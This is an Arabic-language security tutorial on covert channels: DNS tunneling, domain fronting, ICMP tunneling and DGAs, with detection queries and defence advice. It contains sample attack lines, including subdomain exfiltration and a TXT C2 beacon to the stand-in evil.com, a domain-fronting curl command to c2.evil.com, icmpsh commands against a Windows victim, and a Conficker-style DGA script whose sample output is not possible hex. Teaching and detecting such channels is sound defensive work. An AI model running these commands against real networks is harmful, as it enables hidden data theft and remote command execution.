القنوات السرية ونفق بيانات DNS
تسريب البيانات عبر DNS واستخدام بروتوكولات ICMP/HTTPS
لماذا القنوات السرية تخيف الـ Blue Team
Firewall ينظر للبروتوكول و الوجهة. EDR ينظر للعمليات. لكن القناة السرية تختبئ داخل بروتوكول مسموح — DNS, HTTPS, ICMP — و تنقل بيانات مع كل packet عادي. النتيجة: تسريب gigabytes أمام الحارس دون أن يرى شيئاً.
DNS — لماذا خادم سحري للمهاجم
- مسموح دائماً. أي جهاز يحتاجه. حظره يكسر الإنترنت.
- Recursive من خلال DNS resolver داخلي. حتى لو حُظر الخروج المباشر، الـ resolver يفعل ذلك بالنيابة عنك.
- كثيف جداً. ضوضاء حقيقية تخفي ضوضاء خبيثة.
- سجلات نادراً ما تُحلّل بعمق. أكثر فرق Blue Team تجمع NetFlow و proxy logs لكن لا تنظر داخل DNS queries.
ميكانيكا DNS Tunneling
المهاجم يملك authoritative DNS لـ evil.com. الجهاز المخترق يرسل بيانات في اسم النطاق الفرعي:
# Exfil — البيانات → subdomain encoded
ZGF0YS10by1leGZpbA.evil.com
[base32-data].evil.com
# Beacon C2 — أوامر تأتي في TXT/CNAME response
$ dig TXT cmd.evil.com
;; ANSWER SECTION:
cmd.evil.com. 60 IN TXT "exec:whoami"الـ resolver الداخلي يحوّل الاستعلام إلى ns.evil.com (الذي يسيطر عليه المهاجم). البيانات تصل عبر هذا الجسر.
أدوات شائعة
HTTPS / HTTP/3 — قناة الجيل الجديد
DNS tunneling قديم. الموجة الحالية: Domain Fronting + HTTPS C2 فوق CDN معروف (CloudFront, Fastly).
# Domain Fronting (بات أصعب لكن لا يزال يحدث على بعض CDNs)
# SNI: cdn.legitimate-site.com ← ما يراه firewall
# Host: c2.evil.com ← ما يصل للـ origin
curl --resolve cdn.legitimate-site.com:443:1.2.3.4 \
-H "Host: c2.evil.com" \
https://cdn.legitimate-site.com/- الـ TLS مشفّر → يخفي Host header عن middleware عادي.
- HTTP/3 (QUIC) فوق UDP/443 — كثير من الـ middleboxes لا تفكّه.
- Encrypted Client Hello (ECH) — يخفي حتى SNI. الموجة القادمة من القنوات السرية.
ICMP و بروتوكولات أخرى
# ICMP tunneling — البيانات في data field من ping
# server
icmpsh-m.py 0.0.0.0
# client (Windows victim)
icmpsh.exe -t 1.2.3.4 -d 500 -b 30 -s 128
# WebSocket — داخل WSS صعب التمييز عن traffic عادي
# SMTP/IMAP — exfil في email drafts (kept on server, never sent)
# NTP — حقول options نادراً ما تُفحصDGAs — Domain Generation Algorithms
بدلاً من C2 ثابت يسهل حظره، malware يولّد آلاف أسماء نطاقات يومياً. واحد منها فقط مُسجّل من المهاجم. مثال (Conficker):
import datetime
import hashlib
def conficker_domains(date, count=250):
seed = date.strftime("%Y-%m-%d").encode()
domains = []
for i in range(count):
h = hashlib.md5(seed + i.to_bytes(2, 'big')).hexdigest()[:8]
tld = ['.com','.net','.org','.info','.biz'][i % 5]
domains.append(h + tld)
return domains
print(conficker_domains(datetime.date(2026, 4, 30))[:5])
# ['a1b2c3d4.com', '5e6f7g8h.net', ...]Fast Flux: نفس النطاق يتغيّر IP الخاص به كل بضع دقائق (TTL منخفض، آلاف bots كـ proxy).
الكشف — كيف يصطاد الـ Blue Team هذه
- Subdomain length — أكثر من 50 حرفاً نادر جداً في DNS طبيعي.
- Entropy — أسماء عشوائية (e.g. af83hd92lqx) لها entropy عالية. حسابها سهل (Shannon).
- Query rate — جهاز يستعلم 5000 query لنفس النطاق في ساعة = شاذ.
- Unique subdomains — >100 unique subs لـ one parent domain من client واحد = إنذار.
- NXDOMAIN ratio — DGAs تنتج NXDOMAINs كثيرة (نطاقات لم تُسجّل بعد).
- TXT/NULL records مفرطة — مستخدمة لـ exfil كميات أكبر.
// Microsoft Sentinel — كشف entropy عالي في subdomains
DnsEvents
| where TimeGenerated > ago(1h) and SubType == "LookupQuery"
| extend Subdomain = extract(@"^([^.]+)\.", 1, Name)
| extend Length = strlen(Subdomain)
| where Length > 30
| extend Entropy = todouble(strlen(replace_regex(Subdomain, @"[^a-z0-9]", ""))) / Length
| summarize Queries=count(), AvgLen=avg(Length) by ClientIP, Domain=extract(@"\.([^.]+\.[^.]+)$", 1, Name)
| where Queries > 50 and AvgLen > 30
| order by Queries desc# Zeek — قواعد دفاعية حول DNS
# zeek-cut من dns.log
cat dns.log.gz | zcat | zeek-cut id.orig_h query | \
awk '{print $1, length($2)}' | \
awk '$2 > 50 {count[$1]++} END {for (i in count) if (count[i] > 100) print i, count[i]}'الدفاع — بناء مظلة
- DNS مركزي. لا تسمح للـ endpoints بـ DNS مباشر. كل شيء عبر resolver داخلي يسجّل بالكامل.
- DNS Firewall (RPZ) — حظر nationally bad TLDs و categories معروفة سيئة.
- Threat Intelligence feeds — قائمة DGA domains (DGArchive, dnsdb) → block.
- Egress filtering — منع DoH/DoT المباشر (UDP/853, well-known DoH endpoints) إلا للـ resolver.
- TLS Inspection حيث ممكن قانونياً — يفكّ Domain Fronting.
- Beaconing detection — RITA, Zeek + Spicy تكشف الـ jitter المنتظم.
- Anomaly ML — Cloudflare/Akamai/Microsoft Defender for DNS يحوي نماذج جاهزة لـ DGA و tunneling.
ميدان التدريب — ما تحتاج لتجرّب
- Lab: domain خاصة بك ($10/سنة)، VPS بسيط، ضحية افتراضية.
- أدوات: iodine, dnscat2, Sliver، interactsh للـ OOB البسيط.
- تحليل: Wireshark + Zeek + RITA على الـ pcap.
- قياس: قارن DNS query rate قبل و أثناء الـ tunnel — هذا يعلّم Blue Team.